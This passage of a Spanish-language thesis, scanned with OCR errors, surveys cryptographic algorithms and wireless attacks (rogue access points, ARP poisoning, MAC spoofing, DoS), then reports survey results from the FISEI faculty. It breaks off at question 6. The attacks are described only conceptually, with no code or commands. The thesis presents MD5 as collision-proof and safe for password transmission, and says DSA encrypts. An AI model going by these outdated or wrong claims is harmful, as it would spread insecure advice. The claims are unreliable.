el algoritmo AES que es considerado mucho mas rapido (hasta 6 veces mas
rapido). De todas maneras, algunas tarjetas de créditos y otros métodos de pago

electronico, todavia tienen como estandar el algoritmo Triple DES.

24



MD5

En criptografia, MD5 (Algoritmo de Resumen del Mensaje 5) es un algoritmo de
reduccion criptografico de 128 bits ampliamente usado. El cddigo MD5 fue
disefiado por Ronald Rivest en 1991.

El algoritmo MD5 es una funcion de cifrado tipo hash que acepta una cadena de
texto como entrada, y devuelve un nimero de 128 bits. Las ventajas de este tipo
de algoritmos son la imposibilidad (computacional) de reconstruir la cadena
original a partir del resultado, y también la imposibilidad de encontrar dos cadenas

de texto que generen el mismo resultado.

Esto permite usar el algoritmo para transmitir contrasefias a través de un medio
inseguro. Simplemente se cifra la contrasefia, y se envia de forma cifrada. En el
punto de destino, para comprobar si el password es correcto, se cifra de la misma

manera y se comparan las formas cifradas.

SHA

La familia SHA (Secure Hash Algorithm, Algoritmo de Hash Seguro) es un
sistema de funciones hash criptograficas relacionadas de la Agencia de Seguridad
Nacional de los Estados Unidos y publicadas por el National Institute of Standards
and Technology (NIST).

El primer miembro de la familia fue publicado en 1993 es oficialmente llamado
SHA. Sin embargo, hoy dia, no oficialmente se le Ilama SHA-O para evitar
confusiones con sus sucesores. Dos afios mas tarde el primer sucesor de SHA fue
publicado con el nombre de SHA-1. Existen cuatro variantes mas que se han
publicado desde entonces cuyas diferencias se basan en un disefio algo modificado
y rangos de salida incrementados: SHA-224, SHA-256, SHA-384, y SHA-512
(Illamé&ndose SHA-2 a todos ellos).
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Algoritmo Asimétrico

RSA

En criptografia, RSA (Rivest, Shamir y Adleman) es un sistema criptografico de
clave publica desarrollado en 1977. Es el primer y mas utilizado algoritmo de este

tipo y es valido tanto para cifrar como para firmar digitalmente.

La seguridad de este algoritmo radica en el problema de la factorizacion de
nameros enteros. Los mensajes enviados se representan mediante ndmeros, y el
funcionamiento se basa en el producto, conocido, de dos nimeros primos grandes

elegidos al azar y mantenidos en secreto.

Como en todo sistema de clave publica, cada usuario posee dos claves de cifrado:
una publica y otra privada. Cuando se quiere enviar un mensaje, el emisor busca
la clave publica del receptor, cifra su mensaje con esa clave, y una vez que el
mensaje cifrado llega al receptor, este se ocupa de descifrarlo usando su clave

privada.

Se cree que RSA serd seguro mientras no se conozcan formas rapidas de
descomponer un numero grande en producto de primos. La computacion cuantica
podria proveer de una solucién a este problema de factorizacion.

DSA

(Digital Signature Algorithm - Algoritmo de Firma Digital). Estdndar para firmas
digitales del Gobierno de EE.UU. Es un algoritmo que sirve para de firmar y

cifrar informacion.

El algoritmo fue propuesto por el Instituto Nacional de Normas y Tecnologia de
EE.UU. para su uso en su estdndar DSS (Estdndar de Firma Digital). DSA fue
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hecho publico el 30 de agosto de 1991. Una desventaja del DSA es que requiere

mas tiempo de computo que el RSA.”

Vulnerabilidades de la red inalambrica

Segin ANDREU Joaquin (2010, pag.212) “La rapida expansion de las redes
inaldmbricas (wireless) basadas en los estandares 802.1x han afiadido un nivel
adicional de complejidad al problema de la seguridad de redes. Aunque los
mencionados estandares incorporan ciertas funciones de seguridad, y que los
diferentes fabricantes de equipos wireless han afiadido diferentes mecanismos de
proteccion, las redes inalambricas representan un punto extremadamente

vulnerable en la seguridad de una red.”

Rogue Access Point

HEMANT, Chaskar, (internet; 2009; 02/11/2011; 21:46:49).“Un punto de acceso
Rogue (Rogue AP) es un punto de acceso inaldambrico instalado en una red
cableada de la empresa sin autorizacion del administrador de la red. Un punto de
acceso ilicito puede ser ingenuamente instalado por un usuario legitimo que no es
consciente de sus implicaciones en la seguridad o puede ser deliberadamente
instalado como un ataque interno. Un punto de acceso ilicito podria ser facilmente
objeto de contrabando a las instalaciones de la empresa por un extrafio. En
cualquier caso, un punto de acceso ilicito plantea serias amenazas de seguridad a
una red cableada de la empresa, ya que proporciona una puerta trasera en la red
inalambrica de la empresa para los de afuera, por encima de todas las medidas de

seguridad tales como cortafuegos con cable y control de acceso a redes (NAC).
Una vez el usuario introduce la contrasefia en el portal cautivo, el atacante ya la

tiene en su poder. El usuario no se da cuenta, puesto que se modifica previamente

la apariencia del portal cautivo, para que sea igual a la legitima.
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Este método tiene muchas vertientes, se usa el famoso Radius-Radius,
basicamente, se afiade un servidor radius.”
QO ne
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< = ,Q

e 8

(;5 == \/ , | Rogue AP

E I Office Premises

AN J Attacki
Internet Firewall

Grafico 2.6. Rogue Access Point

El Rogue AP redirige a paginas de contenido peligroso en el cual usa troyanos,
spyware, etc. En unos casos al mover solamente el mouse se puede descargar un
spyware. La suplantacion del punto de acceso o también conocido Evil Twin,
consiste en conseguir que el usuario (victima) se conecte a la maquina del hacker
0 atacante, en este caso esta maquina estd funcionando como un Access Point
legitimo el cual se encargara de redirigir el trafico. Se debe tomar en cuenta que al
momento de suplantar a un punto de acceso es importante que sea lo mas real
posible, debe tener las mismas caracteristicas que las del verdadero. Es comdn
realizar estos ataques en las zonas Hotspots publicas.

ARP Poisoning

Segin AMICELLL, Cristian, (internet, 18/11/2010; 02/11/2011; 22:24:46).“Es una
técnica usada para infiltrarse en una red LAN basada switch, en donde el atacante
pude husmear, modificar el trafico, o incluso detener el trafico ataque este
conocido como DoS (Denial of Service) Denegacion de Servicio.

La funcion basica del ARP Spoofing es el de emitir falsos mensajes ARP
Ilamados (spoofed), en la LAN. La finalidad de esta funcion es la asociar la
direccion MAC del atacante con la puerta de enlace predeterminada (Gateway),
con la intencién de confundir a las otras maquinas conectadas en ese segmento de

red LAN, asiendo que estas le envien las peticiones de conexién al atacante.
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Pudiendo este elegir entre reenviar el trafico al verdadero Gateway (modificando,

leyendo los datos), o bien no reenviarlos y producir un ataque DoS.

El ARP Spoofing puede ser ejecutado desde una maquina controlada (el atacante
ha conseguido previamente hacerse con el control de la misma: intrusion),
un Jack Box, o bien la maquina del atacante estd conectada directamente a la
LAN.”

ARP Spoofing o ARP Poisoning permite monitorizar el trafico de la red, de esta
manera también podra modificar los paquetes de datos o enviar falsos paquetes de

datos.

MAC AddressSpoofing

Es muy sencillo este ataque el cual consiste en suplantar o imitar una direccion
MAC usando software que permita detectarlas (existen muchos en el internet
como Air Jack) para luego remplazar la MAC original de la maquina por la
encontrada. ElI Access Point permitira la conexién pensando que es el verdadero

usuario.

Este ataque suplanta o imita a una direccion MAC de una computadora mediante
un software que permitira detectarlas y después proceder a reemplazar la MAC

original de la maquina por la nueva que se encontrg”.

Denegacidn de Servicios (DoS)

ANONIMO, (internet; 2012; 03/11/2011; 15:21:56).
De las siglas en inglés Denial of Service, es un ataque a un sistema de
computadoras o red que causa que un servicio 0 recurso sea inaccesible a los

usuarios legitimos. Normalmente provoca la pérdida de la conectividad de la red
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por el consumo del ancho de banda de la red de la victima o sobrecarga de los

recursos computacionales del sistema de la victima.

Se genera mediante la saturacion de los puertos con flujo de informacién,
haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por
eso se le denomina "denegacion”, pues hace que el servidor no dé abasto a la
cantidad de solicitudes. Esta técnica es usada por los llamados crackers para dejar

fuera de servicio a servidores objetivo.

Wardriving y warchalking

ANONIMO, (internet; 2011; 03/11/2011; 15:21:56).

“Wardriving

Es la busqueda de redes inaldmbricas Wi-Fi desde un vehiculo. Recibe su nombre
del wardialing (popularizado en la pelicula de Matthew Broderick Juegos de
guerra) porque también implica buscar sistemas informaticos. Muchos
practicantes usan dispositivos GPS para determinar la ubicacion de los hotspots

hallados y registrarla en un sitio web.

Warchalking

Es un lenguaje de simbolos normalmente escritos con tiza en las paredes que

informa a los posibles interesados de la existencia de una red inalambrica en ese

punto”.

Este tipo de amenaza permite localizar las redes inalambricas para después ser
atacadas por medio de software especial para eso.
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Grafico 2.7.Warchalking

Informacion

Segin WIKIPEDIA, anénimo, (internet; 24/10/2011; 03/11/2011; 16:37:24).
“Desde el punto de vista de la ciencia de la computacion, la informacion es
un conocimiento explicito extraido por seres vivos 0 sistemas expertos como
resultado de interaccién con el entorno o percepciones sensibles del mismo
entorno. En principio la informacion, a diferencia de los datos o las percepciones
sensibles, tienen estructura Gtil que modificara las sucesivas interacciones del ente

que posee dicha informacion con su entorno.”

Propiedades de la Informacion

CABRERA Claudio, (internet; 06/06/2011; 03/11/2011; 16:40:58).

“La informacién que circula por la red, su proceso y almacenamiento esta
sometida a varios tipos de amenazas, tales como espionaje, acceso no autorizado,
interrupcion del flujo, copia, alteracion, destruccion de informacién e interrupcién

de los servicios.
Por lo que; las propiedades de la informacion permiten identificar si esta mantiene

toda su integridad desde el emisor hacia el o los receptores, estas propiedades se

describen a continuacion:

31



Confidencialidad

Es la propiedad por la que el destinatario de una comunicacion puede conocer la
informacion que estd siendo enviada mientras que las personas que no son

destinatarios no pueden determinar el contenido de lo que esté siendo enviado.

Integridad

Es la propiedad de asegurar que la informacién sea transmitida desde su origen

hasta su destino sin sufrir ninguna alteracion.

Autenticacion

Es la propiedad de conocer que la informacion recibida es la misma que la

informacion enviada y que el que dice ser que los envio realmente los envid”.

La informacion es parte fundamental de todas las organizaciones para poder
poseer un alto nivel de competitividad y posibilidades de desarrollo. Se debe tener
en cuenta que en la informacién se mantenga la integridad, la confidencialidad y

que no exista el acceso no autorizado a la misma.

Seguridad de la Informacién

WIKIPEDIA, anénimo, (internet; 02/11/2011; 03/11/2011; 16:45:51).“Se
entiende por seguridad de la informacion a todas aquellas medidas preventivas y
reactivas del hombre, de las organizaciones y de los sistemas tecnoldgicos que
permitan  resguardar y  proteger lainformacion buscando  mantener

la confidencialidad, la disponibilidad e Integridad de la misma.
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El concepto de seguridad de la informacion no debe ser confundido con el
de seguridad informatica, ya que este Gltimo sélo se encarga de la seguridad en el
medio informatico, pudiendo encontrar informacion en diferentes medios o

formas.

Para el hombre como individuo, la seguridad de la informacién tiene un efecto
significativo respecto a su privacidad, la que puede cobrar distintas dimensiones
dependiendo de la cultura del mismo.

El campo de la seguridad de la informacion ha crecido y evolucionado
considerablemente, ofrece muchas areas de especializacion, incluidos la auditoria
de sistemas de informacion, administracion de sistemas de gestion de seguridad,

entre otros.”

Se puede conocer que actualmente la informacion ya es considerada de vital
importancia en las organizaciones. Y por esa razon se deben implementar medidas

de seguridad para poder protegerla.

Mecanismos de Seguridad

CABRERA Claudio, (internet; 06/06/2011; 02/11/2011; 17:01:24).

“En los inicios de la tecnologia inalambrica, los procedimientos y mecanismos de
seguridad eran tan débiles que se podia acceder con relativa facilidad hacia redes
WLAN desde la calle. Se descubrio deficiencias en ciertos mecanismos debido a
que se podia interceptar y decodificar los datos transmitidos en el aire en cuestion
de horas, ganando acceso no autorizado. Por esta razon actualmente se clasifican

en mecanismos basicos y avanzados de seguridad.
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Mecanismos Basicos

Los mecanismos basicos de seguridad fueron integrados en los primeros
estandares de WLAN, si bien ya no son utilizados actualmente fueron un punto de
inicio para la implementacion de mecanismos y estandares de seguridad més
avanzados. A continuacion se dara una pequefia descripcion de los mas

importantes.

- Open System Authentication

Es el mecanismo de autenticacion definido por el estdndar 802.11 y consiste en
autenticar todas las peticiones que reciben. El principal problema de este
mecanismo es que no realiza ninguna comprobacién y, ademas, todas las tramas
de gestion son enviadas sin ningun tipo de cifrado, incluso cuando se ha activado
WEP.

- Lista de Control de Acceso (ACL)

Si bien no forma parte del estandar, la mayor parte de los productos dan soporte al
mismo. Se utiliza como mecanismo de autenticacién la direccion MAC de cada
estacion, permitiendo el acceso Unicamente a aquellas estaciones cuya MAC

Figura en la lista de control de acceso (ACL, Access Control List).

- Closed Network Access Control

Sélo se permite el acceso a la red a aquellos que conozcan el nombre de la red, o

SSID. Este nombre viene a actuar como contrasefia. Actualmente este mecanismo

de seguridad es inseguro en exceso debido a que la mayoria de dispositivos
WLAN existentes detectan el SSID automéaticamente.
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Mecanismos Avanzados

Los mecanismos avanzados fueron creados considerando las debilidades que
existian mecanismos basicos de seguridad. A continuacion se dard una pequefia

descripcion de los mas importantes.

- Protocolo de Integridad de Clave Temporal (TKIP)

Con este protocolo se pretende resolver las deficiencias del algoritmo WEP, este
protocolo posee un cddigo de integracion de mensajes MIC15 el cual cifra el
checksum incluyendo las direcciones fisicas (MAC) del origen y del destino y los
datos en texto claro de la trama 802.11 protegiendo con esto cualquier ataque por

falsificacion.

- Extensible Authentication Protocol with Transport Layer Security

Protocolo de autenticacion basado en certificados digitales(EAP-TLS). Ofrece una

autenticacion fuerte mutua (es decir tanto de la estacion como del punto de

acceso), credenciales de seguridad y claves de encriptacion dinamicas.

Requiere la distribucién de certificados digitales a todos los usuarios asi como a

los servidores RADIUS.

- Virtual Private Network (VPN)

Sistema para simular una red privada sobre una publica, como por ejemplo

Internet, La idea es que la red publica sea vista desde dentro de la red privada

como un “cable 16gico” que une dos o mas redes que pertenecen a la red privada.
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- Estandar IEEE 802.1X

Utiliza el protocolo de autenticacion extensible o EAP, para autenticar al
dispositivo movil, permitiendo a la Entidad de Autenticacion de Puertos (Port
Authentication Entity, PAE) un control del proceso de autenticacion a la red.”

Inseguridad de la Informacion

Segin CANO, Jeimy, (internet; 01/2004; 22/11/2011; 15:34:57).

“Mientras la seguridad informatica es un concepto subjetivo, la inseguridad
informéatica es objetiva, es decir propia al objeto. No es posible evitar la
inseguridad informética pues es una propiedad inherente a los objetos. Por tal
motivo, se hace necesario explorar en profundidad dicha propiedad, pues mientras
méas se comprenda la realidad de la inseguridad, con mejores ojos podremos

comprender la seguridad informatica de las organizaciones.

Considerar la inseguridad informatica como parte del ejercicio de seguridad
informaética de las organizaciones, sugiere la capacidad de las organizaciones para
cuestionarse sobre la situacion real del balance entre seguridad, facilidad de uso y
funcionalidad no para lograr mayores niveles de confiabilidad y aseguramiento de
sus arquitecturas, sino para evaluar el nivel de dificultad requerido por los

atacantes para ingresar y vulnerar los medios de proteccion.”.

- Interrupcion

Segun ZAMBRANO, Harly, (internet; 06/2011; 03/11/2011; 17:20:42).

“Un recurso del sistema es destruido o se vuelve no disponible. Este es un ataque
contra disponibilidad. Ejemplos de este ataque son la destruccion de un elemento
hardware, como un disco duro, cortar una linea de comunicacion o deshabilitar el

sistema de gestion de ficheros.”
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- Intercepcion

Segun ZAMBRANO, Harly, (internet); 06/2011; 03/11/2011; (17:34:29).

“Una entidad no autorizada consigue acceso a un recurso. Este es un ataque contra
la confidencialidad. La entidad no autorizada podria ser una persona, un programa
0 un ordenador. Ejemplos interceptar la comunicacion que circula por una red
WLAN realizando copias ilicitas de ficheros o programas (intercepcién de datos),
0 bien la lectura de las cabeceras de paquetes para revelar la identidad de uno o
mas de los usuarios implicados en la comunicacion observada ilegalmente

(intercepcion de identidad).”

- Modificacién

Segun ZAMBRANO, Harly, (internet; 06/2011; 03/11/2011; 17:45:37).

“Una entidad no autorizada no sélo consigue acceder a un recurso, Sino que es
capaz de manipularlo. Este es un ataque contra la integridad. Ejemplos de este
ataque son el cambio de valores en un archivo de datos, alterar un programa para
que funcione de forma diferente y modificar el contenido de mensajes que estan

siendo transferidos por la red.”

- Fabricacién

Segun ZAMBRANO, Harly, (internet; 06/2011; 03/11/2011; 17:57:08). “Una
entidad no autorizada inserta objetos falsificados en el sistema. Este es un ataque
contra la autenticidad. Ejemplos de este ataque son la insercion de mensajes

adulterados en una red o anadir registros a un archivo.”
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2.4. Hipdtesis
El analisis de las vulnerabilidades de la red inalambrica influye en la seguridad de

la informacion de los usuarios de la FISEI.
Unidades de observacion: Usuarios de la red inalambrica de la FISEI.

2.5. Seflalamiento de Variables

Variable independiente x= Vulnerabilidad de la Red Inalambrica.

Variable dependiente y= Inseguridad de la Informacion.
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CAPITULO 111

3. MARCO METODOLOGICO

3.1. Enfoque

El presente trabajo investigativo tomard un enfoque Cuali-Cuantitativo con las

siguientes consideraciones:

Siempre estard considerando la parte del entorno, se considerard la parte
participativa del problema, es naturalista porque no es en contra de la naturaleza,
la etnografia estudiard las culturas, interna interpretativas permitira interpretar el
fendmeno dentro del contexto, normativa porque se basara en normas, nomotética
porque llegard a un solo fin, externa por que se basard en agentes externos,

explicativa ya que se realizara un analisis.

3.2. Modalidades bésicas de la investigacion

La presente investigacion tiene las siguientes modalidades:

Modalidad Bibliografica o Documentada: Se ha considerado esta modalidad ya

que se ha utilizado libros, tesis, libros virtuales, revistas, informes, memorandum,

videos para la investigacion.
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Modalidad Experimental: Se ha considerado la relacion de la variable
independiente vulnerabilidad de la red inaldmbrica y su influencia y su relacion en
la variable dependiente inseguridad de la informacion para considerar sus causas y

sus efectos.

Modalidad de Campo: Se ha considerado esta modalidad ya que el investigador
ird a recoger la informacion primaria directamente de los involucrados a traves de

una encuesta.

3.3. Tipos de Investigacion

Se ha realizado la investigacion exploratoria, ya que permitié plantear el problema
de la investigacion sobre la insuficiente seguridad de la red inalambrica ocasiona
inseguridad en la informacion de la FISEI, como de la misma manera ayudo a
plantear la hipdtesis el analisis de las vulnerabilidades de la red inalambrica

permite mejorar la seguridad de la informacion de los usuarios de la FISEI.

Se ha considerado la investigacion descriptiva porque permitié analizar el
problema en sus partes como delimitar en tiempo y en espacio construyendo el

analisis critico, la contextualizacion y los antecedentes investigativos.
Por otro lado se ha tomado la investigacion correlacional ya que ha permitido

medir la compatibilidad de la variable independiente vulnerabilidad de la red

inalambrica y la variable dependiente inseguridad de la informacion.
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3.4. Poblacion y Muestra
3.4.1. Poblacion
La poblacién considerada para la presente investigacion son los usuarios de la Red

Inaldmbrica incluyendo estudiantes y docentes de la FISEI que son 250 personas.

3.4.2. Muestra

Donde:
m = Tamafio de la muestra.
n = Varianza de la muestra / Varianza de la poblacion.
N = Tamario de la poblacion.
% Confianza = 95
Varianza de la muestra = (100 - % Confianza) / 100 = 0.05
Varianza de la poblacién (Constante) = 0.015 = 0.000225

0.05

= 0000225 _ 22422

n

222.22

m =

m = 117.64

3.5. Operacionalizacion de Variables

Hipotesis: El analisis de las vulnerabilidades de la red inalambrica influye en la

seguridad de la informacion de los usuarios de la FISEI.

41



Variable Independiente: Vulnerabilidad de la red Inalambrica.

Concepto Categorias Indicadores items Técnicas e
Instrumentos
Son puntos débiles de | Puntos La informacion  se | (Es de su conocimiento que debido a que la | Encuesta con un
la red inaldmbrica que | Débiles de | transmite por el aire. informacién viaja por el aire en una red | cuestionario
hace que la misma sea | la Red | Usuarios pueden | inaldmbrica es méas susceptible a que esta | dirigido a docentes
propensa a ataques por | Inalambrica | conectarse pueda ser interceptada por otra persona? y al personal de
personas ajenas a la equivocadamente (0 | ¢Antes de conectarse a una red inaldmbrica | Administracion de
organizacion. voluntariamente) a otras | presta atencion en el nombre de la red a la | Redes de la FISEI.
redes. que se va a conectar?
¢Qué puede considerar como un punto débil | Entrevista con una
de la red inalambrica? cedula de
¢Existe alguna forma de controlar el alcance | entrevista al
de la sefial de la red inalambrica de la administrador  de
FISEI? red de la FISELI.
Ataques Punto de acceso falso | ¢Han existido ataques a la red inalambrica?
(Rogue Access Point) Si ha existido que ha hecho para
ARP poisoning sobrellevarla?
Robo de direccion MAC | ;Cree usted que pueda existir un ataque
(MAC spoofing) MAC spoofing? Porque.
¢Ha sido victima de robos de contrasefias al
Personas Son las personas que | usar la red inaldmbrica de la FISEI?
ajenas acceden a la red | (Cree que han existido robos de contrasefias

inaldmbrica violentando
las seguridades como
los Hackers, Crackers y
Usuarios sin
autorizacion

a docentes en la red inalambrica?

¢Han logrado acceder al servidor
autorizacion?

¢Existe un plan de contingencia 0 una norma
para el uso de la red inaldmbrica y
resolucion de problemas?

sin

Tabla 3.1. Variable Independiente

Fuente: Investigacion
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Variable Dependiente: Inseguridad en la Informacion

Concepto Categorias Indicadores items Técnicas e
Instrumentos
Es la inexistencia de | Mecanismos Basicos: WEP, Open | :;Qué tipos de mecanismos de | Encuesta con un
mecanismos de | de Seguridad | System Authenticacition, | seguridad posee la red inalambrica? cuestionario
sequridad para ACL, Closed Network | ;Cual es el método de conexion a la | dirigido a
proteger y mantener Access Control. red inalambrica de la FISEI? docentes y al
laspropiedades Avanzados: TKIP, EAP- | ;La informacion que viaja en la red | personal de

fundamentales de la
informacion.

Propiedades
Fundamentales
de la
Informacion.

TLS, VPN, IEEE 802.1X,

WPA, WPA2-
Filtrado MAC

Autenticacion de usuario.

Integridad,
Disponibilidad y
Confidencialidad

inalambrica es cifrada?

¢Por qué razon no se hace uso del
cifrado WPA2?

¢Cree que el filtrado MAC es
suficiente para el control del acceso a
la red inalambrica?

¢(Cree  que se mantiene la
confidencialidad de la informacion en
la red inaldambrica de la FISEI?

¢(Cuando desea acceder a la red
inaldmbrica esté disponible?
¢Como considera el nivel de

confiabilidad en la red inalambrica?
¢Existe una estadistica del uso y
acceso a la red inalambrica? (bitacora)
¢Con que  frecuencia  existen
problemas de caidas de la red
inaldmbrica?

Administracion
de Redes de la
FISEI.

Entrevista con
una cedula de

entrevista al
administrador de
red de la FISEI.

Tabla 3.2. Variable Dependiente

Fuente: Investigacion
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3.6. Recoleccion y Analisis de la Informacién

Tipos de Investigacion

SECUNDARIA

PRIMARIA

e Se recolect6 de estudios anteriores
como tesis de grado que tienen
similitud con las variables del tema
propuesto que se encuentra en la
biblioteca de la FISELI.

Se encuentra registrada en libros de
la biblioteca de la FISEI, tesis de
grado, documentacion del internet.

e Se recolectd directamente a través
del contacto directo con los usuarios
de la red inalambrica de la FISEI
para analizar los problemas de
vulnerabilidad que posee.

Tabla 3.3. Tipos de investigacion

Fuente: Investigacion

Técnicas de Investigacion

BIBLIOGRAFICA

DE CAMPO

e Se recolectd informacioén de libros,
revistas, internet, etc.

e Para la recoleccion de la
informacion se usd: encuestas y
entrevistas.

Tabla 3.4. Técnicas de investigacion

Fuente: Investigacion

Recoleccidn de la Informacion

PREGUNTAS

EXPLICACION

1. ;Para que?

Recolectar
comprobar y contrastar con la hipotesis.

informacion  primaria para

2. ¢A qué personas o sujetos?

La poblacion se tomara a los usuarios de la
red inaldmbrica de la FISELI.

3. ¢Sobre qué aspectos?

VI: Vulnerabilidad de la Red Inaldmbrica.
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VD: Inseguridad de la Informacién.

4. ¢:Quién? Investigador (a)

5. ¢Cuando? De acuerdo al cronograma establecido.

6.¢Lugar de recoleccion de la | FISELI.
informacion?

7. ¢Cuantas veces? 1 sola vez.

8. ¢Qué técnica de recoleccion? | Encuesta y entrevista.

9.¢Con qué? Cuestionario y cédula de entrevista.
10. ¢En qué situacion? Situacion normal y cotidiana.

Tabla 3.5. Recoleccién de la informacién

Fuente: Investigacion

3.7. Procesamiento y Andlisis de la Informacion
Revision y codificacion de la informacion.
Categorizacion y tabulacion de la informacion.
1. Tabulacion manual.
2. Tabulacién computarizada: Programa spss.
Anélisis de los datos.
Interpretacion de los resultados.
1. La presentacion de los datos se dara a través de graficos cuadros para

analizar e interpretarlos.

2. Redactar una sintesis general de los resultados.
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CAPITULO IV

4. ANALISIS E INTERPRETACION DE RESULTADOS

4.1. Analisis de la necesidad

En vista que las redes inaldmbricas se encuentran en un gran apogeo actualmente
y son las preferidas por los atacantes informaticos para ser vulneradas, la Facultad
de Ingenieria en Sistemas Electronica e Industrial se ve en la necesidad de realizar

un analisis a su red inaldmbrica interna para mejorarla y optimizarla.

4.2. Andlisis e interpretacion de los resultados

En la presente investigacion la informacién fue recopilada utilizando como
técnica la Encuesta, la misma que fue aplicada a los usuarios de la red inalambrica
de la FISEI de acuerdo al modelo presentado en el Anexo 2. Ademas se utilizd la
Entrevista para obtener informacion del Departamento de Redes tomando como
base un modelo de cuestionario que se adjunta también en el Anexo 3. A

continuacién se presentan los resultados.

4.2.1. Analisis de los resultados de las encuestas

Encuesta dirigida a los usuarios de la Facultad de Ingenieria en Sistemas,

Electronica e Industrial.
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Pregunta N° 1.

¢Antes de conectarse a una red inaldmbrica presta atencion en el nombre de la red

a la que se va a conectar?

Cuadro N°1
N° ITEMS FRECUENCIA %
Si 106 90
No 12 10
TOTAL 118 100

Tabla 4.1. Tabulacién de la Encuesta — Pregunta 1

Fuente: Investigacion

M| Si

O No

Grafico 4.1. Tabulacion de la Encuesta — Pregunta 1

Andlisis e Interpretacion.

De las 118 encuestas realizadas 106 usuarios que equivale el 90% de los
encuestados afirman que prestan atencion a las seguridades existentes en el punto
de acceso que se van a conectar, mientras que 12 usuarios que equivale 10% de

los encuestados no presta atencion.
Se puede apreciar que ciertos usuarios no prestan atencion a que red inalambrica

se van a conectar, desconociendo que pueden existir puntos de accesos falsos con

las mismas caracteristicas que el original incluso el nombre.
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Pregunta N° 2

¢Es de su conocimiento que debido a que la informacidn viaja por el aire en una
red inaldmbrica es mas susceptible a que ésta pueda ser interceptada por otra

persona?

Cuadro N°2
N° ITEMS FRECUENCIA %
Si 104 88
b No 14 12
TOTAL 118 100

Tabla 4.2. Tabulacién de la Encuesta — Pregunta 2

Fuente: Investigacion

| Si
O No

Gréfico 4.2. Tabulacion de la Encuesta — Pregunta 2

Analisis e Interpretacion.

De las 118 encuestas realizadas 104 usuarios que equivale al 88% de los
encuestados conocen los riesgos de conectarse a una red inaldmbrica, 14 usuarios

que equivale 12% de los encuestados desconocia este tipo de riesgos.

Se puede constatar que un pequefio porcentaje desconoce que la informacién que
viaja por el aire en las redes inaldmbricas puede ser interceptada por otras
personas si no se toma medidas de proteccion sea un software para estos fines

como un IPS.
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Pregunta N° 3

Seleccione los tipos de ataques a redes inalambricas que conoce o0 ha escuchado.

Cuadro N°3

N° ITEMS FRECUENCIA
a Man in the Middle 39
b ARP poisoning 28
c MAC spoofing 45
d Rogue Access Point 30
e Ninguno 57

TOTAL 199

Tabla 4.3 Tabulacion de la Encuesta — Pregunta 3

Al tener una pregunta con varias alternativas contestadas en forma multiple se
realizard un analisis individual, siendo su sumatoria mayor al numero de

participantes por lo mismo cada valor se lo representara con el porcentaje

Fuente: Investigacion

correspondiente al total de 118 encuestas.
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Alternativa a: Man in the Middle

B Man in the
Middle

[0 Otros

Grafico 4.3.1 Tabulacién de la Encuesta — Pregunta 3

Interpretacion

El 33% de las respuestas obtenidas sobre la pregunta tres definen que los usuarios
poseen conocimiento del ataque Man in the Middle, mientras que el 67% poseen

conocimiento de otros tipos de ataques.

Alternativa b: ARP poisoning

B ARP
poisoning

[ Otros

Grafico 4.3.2 Tabulacién de la Encuesta — Pregunta 3

Interpretacion

El 24% de las respuestas obtenidas sobre la pregunta tres definen que los usuarios
poseen conocimiento del ataque ARP poisoning, mientras que el 76% poseen

conocimiento de otros tipos de ataques.
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Alternativa c: MAC spoofing

B MAC
Spoofing

[0 Otros

Grafico 4.3.3 Tabulacién de la Encuesta — Pregunta 3

Interpretacion

El 38% de las respuestas obtenidas sobre la pregunta tres definen que los usuarios
poseen conocimiento del ataqgue MAC Spoofing, mientras que el 62% poseen

conocimiento de otros tipos de ataques.

Alternativa d: Rogue Access Point

M Rogue
Access Point

[ Otros

Gréfico 4.3.4 Tabulacién de la Encuesta — Pregunta 3

Interpretacion

El 25% de las respuestas obtenidas sobre la pregunta tres definen que los usuarios

poseen conocimiento del ataque Roque Access Point, mientras que el 75% poseen

conocimiento de otros tipos de ataques.
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Alternativa e: Ninguno

M Ninguno

[0 Otros

Grafico 4.3.5 Tabulacion de la Encuesta — Pregunta 3

Interpretacion
El 44% de las respuestas obtenidas sobre la pregunta tres definen que los usuarios

no poseen conocimiento de ningun tipo de ataque a redes inalambricas, mientras

que el 56% poseen conocimiento de otros tipos de ataques.

Analisis
Cabe recalcar que en su mayoria los usuarios aun desconocen que tipos de ataques

a redes inaldmbricas existen, por tal motivo son los méas vulnerables al no tener

conocimiento sobre la manera de protegerse.
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Pregunta N° 4

¢Cual es el método de conexion a la red inalambrica de la FISEI?

Cuadro N°4
N° ITEMS FRECUENCIA %
Ingresando usuario y contrasefia 37 31
b Registrando la direccion MAC 81 69
TOTAL 118 100

Tabla 4.4. Tabulacién de la Encuesta — Pregunta 4

Fuente: Investigacion

Ha
Ob

Gréfico 4.4. Tabulacién de la Encuesta — Pregunta 4

Analisis e Interpretacion.

De las 7 encuestas realizadas 37 usuarios que equivale el 31% de la poblacion el
método que usan para conectarse a la red inalambrica de la FISEI es ingresando el
nombre de usuario y contrasefia por medio de un portal cautivo mientras que 81
usuarios que equivale el 69% de los encuestados primero deben registrar su

direccion MAC en la oficina de Administracion de Redes para poder tener acceso

a la red inalambrica de la FISEI.

Se puede observar que en su mayoria el método de conexién de los usuarios a la
red inaldmbrica de la FISEI es por medio del registro previo de las direcciones

MAC, de esta manera queda demostrado que podria existir una gran posibilidad

de suplantacion de las MAC’s para lograr acceder.
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Pregunta N° 5

¢Cree que se mantiene la confidencialidad de los datos en la red inalambrica de la
FISEI?

Cuadro N°5
N° ITEMS FRECUENCIA %
alSi 55 47
b[No 63 53
TOTAL 118 100

Tabla 4.5. Tabulacién de la Encuesta — Pregunta 5

Fuente: Investigacion

Ha
Ob

Gréfico 4.5. Tabulacién de la Encuesta — Pregunta 5

Analisis e Interpretacion.

De las 118 encuestas realizadas 55 usuarios que equivale el 47% de los
encuestados cree que se mantiene la confidencialidad de los datos en la red
inaldmbrica de la FISEI, 63 usuarios que equivale 53% de los encuestados

desconoce si existe confidencialidad.

De esta manera se comprueba que mas del 50% de los usuarios especulan que la

red inalambrica de la FISEI no es confiable por una o varias causas.

54



Pregunta N° 6

¢Ha sido victima de robos de contrasefias al usar la red inalambrica de la FISEI?

Cuadro N°6
N° ITEMS FRECUENCIA %
A Si 27 23
B No 91 77
TOTAL 118 100

Tabla 4.6. Tabulacién de la Encuesta — Pregunta 6

Fuente: Investigacion

mSi
! | O No

Gréfico 4.6.  Tabulacion de la Encuesta — Pregunta 6

Analisis e Interpretacion.

De las 118 encuestas realizadas 27 personas que equivale el 23% de la muestra ha
sido victima de robos de contrasefias, 91 personas que equivale 77% de los

encuestados no han sido victimas de robos de contrasefas.

Se puede comprobar que a pesar de tener solamente un 23%, es decir un
